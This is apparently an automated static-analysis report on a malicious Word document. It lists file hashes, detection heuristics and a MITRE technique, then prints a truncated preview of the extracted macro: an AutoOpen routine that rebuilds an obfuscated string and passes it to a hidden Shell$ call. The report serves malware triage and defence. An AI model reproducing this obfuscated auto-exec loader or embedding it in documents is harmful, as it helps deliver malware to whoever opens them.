Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6960c625bef50b40…

MALICIOUS

Office (OLE)

152.0 KB Created: 2017-11-20 14:51:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: c1665dfac99dcff0dd9eaf0bde0bb065 SHA-1: d1018d42445aa5cfa836611de2727e647c98d845 SHA-256: 6960c625bef50b408a837a3e539f9ff463bf4b8ec324ebc418d4924552852585
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen macro triggers a Shell() call, which is a critical heuristic firing. The script appears to be a loader that executes a second-stage payload, likely downloaded from a remote source, though the specific URL is not directly extractable from the provided script excerpt. The obfuscation and use of Shell() indicate a malicious intent to execute arbitrary code.

Heuristics 9

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://6HD+6HDtruacti6HD+6H7zIa In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 171388 bytes
SHA-256: e73f9c9a044727502a1ebd68c2e6581b9d86b2c26bb39aaadb43db5ce7f9882b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 104 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "LHYKsnsuO"
Sub AutoOpen()
bOojFkWoL = Array("HfuwTzfO", "QfMpXzEn", "BnsrDGld", "plkHRrMJ", "odVMLuXH")
abLzoZDPj = Array("vDzdzIAt", "QIiMXzZT", "DAudscGQ", "lRbunoQh", "VYWnPfrU")
USvlouCim = Array("ilYJlqTz", "hsjjGFbs", "ArzblEXJ", "ZIahUbqO", "zHJDsYkh")
Shell$ wcrnqhbTB, 0
CqhnKoOMT = Array("toDDDBaN", "OjcQmcGB", "RjzwYAbG", "RYvWkwlu", "ONbmnLtF")
jpipHQQNb = Array("ltFOPvtM", "wlfGDdPw", "iCZBTOFp", "tNiVmzAI", "huzFffwR")
haraOzfMO = Array("rZOqLIXn", "PVCNXawk", "WYIdKSCE", "HTtWfbth", "VHvamRVm")
End Sub
Function wcrnqhbTB()
EjvjkZAs = "2sY7iqSmXDllAKrtuJBkqwJdPzKdLnjaoztECkPOoimbinDifnOAwOWCPVCjCYXZhYSqpArJtmwHLizcwfwYYfdZbrojhjLPLNuFVMpfvFHKROqhWajWawABvs9zAd4nEF8oh06qaS"
iPGDiAqii = Mid(EjvjkZAs, 16, 107)
TKhpKaO = Array("CJtffwEL", "nkucdJbm", "czSdkfFD", "SNIMnNiv", "GGrkkzHu")
EKGjvbb = Array("JzuSDCjs", "tGbGzRoX", "DpMSosYa", "GwWXSrCd", "qYTmknAQ")
kwViiw = "fE7iOMcOaiKBDwwUOCStEWfDIMBoGUkDActwzniaZZAKUFhGdzVLkmAjjaCJwblYtjnbCCUbXsUfVViDfvLJzYTObNPZlUdwncQoRFEacuorSVKLswiBPcYUNYzonvqCOVrsEulZrljFkbvGDEjmqcjKDwatGPnRMjaHIdCTzIsu8MOqJjWL"
mVvwNp = Mid(kwViiw, 13, 147)
uBdWUFoJs = Array("AiFzLGqB", "RCNQbvjR", "qPdoIYqP", "jPGqziri", "jiDwGaqw")
IRhktiLa = Array("IOHvoWpt", "MXhKMzZc", "sqSwAzBj", "LfkzrlKP", "ZjjtRuaK")
HSltUlvk = "T8jBlM6EHOb1UUbqEiCqjElOzWCjuwqSGztUUzUAzptirrXiLjAElARlzlqWhwPiXzrsaHVHKCstKDWGzPp0hzNczNV"
vtlrTTh = Mid(HSltUlvk, 14, 68)
sakjhoVPlqz = Array("JDsPfuHi", "kYhsKRYh", "MBOivpNZ", "QIAzXJln", "pFzizlwT")
oHszMJHPXM = Array("KGvvwSnw", "jpaUKzjU", "pTzWtIGa", "mtDERqha", "FvYotSaw")
BmfKMRWjwG = "ZVTOap6SuPbONPQFZjquDwDziNCvcREaHIctUULzUrmVmGBaUOJzIrNZEvTPfMRnKBGFmWkFXtZMMiMbMbaOHGRQuCpZAwRIZwKlzvnzdEaPRNwiL"
wosnOjahwb = Mid(BmfKMRWjwG, 10, 100)
EQjdzudjitE = Array("QMilzAof", "WWoYKVjl", "VVakBNPb", "FWnlXiJb", "inoCAvwG")
bprzMo = Array("KjsEFCMX", "RQVXzGUC", "zGfaNDHo", "NNtXhjka", "ZTZRVKVD")
MiWwXHc = "Kw98R7YHDaJCDDBlXlUFwksfjSDoiMozOhkwLtPZcwhjGIRSXdcsmXTOMifbVPZFzhWWSDZiWucBCJZaBkQEjvKrNWmhNnDNXbmYmuAUEwVsuSLCEEalzUWBXiIwRrQiqPiaXBoGkwzlZRwvKjcINSNCFiHJp9laNC8mV2BQ19KjLh"
dWpwmQJl = Mid(MiWwXHc, 14, 140)
HrwjHV = Array("jVEwbqLC", "ZSpQTduU", "bicQozqP", "DSJmFwXb", "cQImktJo")
kGSFV = Array("kvEPORSH", "hvVBYKmk", "fptIhYzc", "vNnCUHkh", "YnjsubAl")
OQpXDij = "CjIDbAOtlwAAnVEIUEqJLnYmRPQvdFGmrFSGdIDUQHkJrsMHCwZJhCFEZX"
BwErPjN = Mid(OQpXDij, 10, 44)
DYXwL = Array("KVZwAphY", "jVuSHAHj", "NiwntRnj", "hDGssarL", "ZupHqrZW")
vSGBR = Array("FEEIzXzo", "zYTpnOjt", "ipOzipfG", "ijsMLAtV", "EchoNfkK")
vwiNQkw = "vUdnCQpBTbbWLWFcwocdcUBpjQZMDIAJtzCSEYwzAzVAvocllEnPwlCMSnDlrdwKaScLUmYYqfcdzBuvoobwUlMHzpzQUNGXBKZcLQQwjPZQJZNRsIwCCzppFVOfmIDdYFbocSkXYcSFLvwYbiXMQEVCUjWqClLXLwsDzYpaXZdZjkdKWqDEkqMUkZTsvtVmQutPDFhRjK3N0acd7kGZi0OkNDkA2C"
TVHnchXwz = Mid(vwiNQkw, 2, 196)
NzikXwt = Array("LhzPassc", "pQQPBTfV", "punJQMiV", "QWvZkXVL", "zAEzkNYn")
IiGDki = Array("EIWQbPBl", "YVaBZqNz", "CdwDwTrR", "vERBOikc", "VAEHqOtA")
UaQldWQP = "SijwcoiNBNVisDEmDfDjqKkhLEbcRmNXbcQockDjCwspTqItNVVTHBIlCQRAzmAPzzGPmPJTcXjsRuOUviPvQtQZTflMSDhPzdpVksGzLCrkVQTIBwEQXEwFhjwHdzAYqRuoEtkCbRjOCjECLdKVwQstijopofjNEj0lP"
YGqqjFoL = Mid(UaQldWQP, 9, 147)
YcVfnwofGZH = Array("RKOJodNA", "JSqltVCV", "mLiwnNUh", "wFWRmDTo", "jsFnlNBG")
pVXutwf = Array("lfOTPXvO", "vMAGzWpE", "pjMiGwOG", "zBCAQPjZ", "KXNHwASZ")
FjlTwp = "jCCSw0rHuzWfMVqpmwjpkBnrhIhTtiGSMBAnSZLrTsjtYYBYhojjNjQlslDWZPNLqDTKVDWNnsVrStTJHImFzaFjlOvjVoREfYCUFqCiRWtVKYTwSuPRcHMQwnZHIprwaQMuqwDRFIndjjVMuwObZAbXLmWSRpJcTWPO"
IkUaM = Mid(FjlTwp, 8, 150)
GsBkXjrkFzZ = Array("KpwORiYr", "XYqqjEEP", "KqwbQRDW", "vIrNuBPc", "DhDiwjOz")
oELNibhYPS = Array("CFClrOIJ", "iJojsdWs", "maSImLwW", "INmwAZQb", "bzYKORih")
uPVaiE = "EDEM55HidR5kAHmDDMimCfnkfCQUBDUkbFiMmiOHVXBbVmBjTjtnDmPRIZDassRKiVJuZZRUzaRidLPtBkAUKh
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.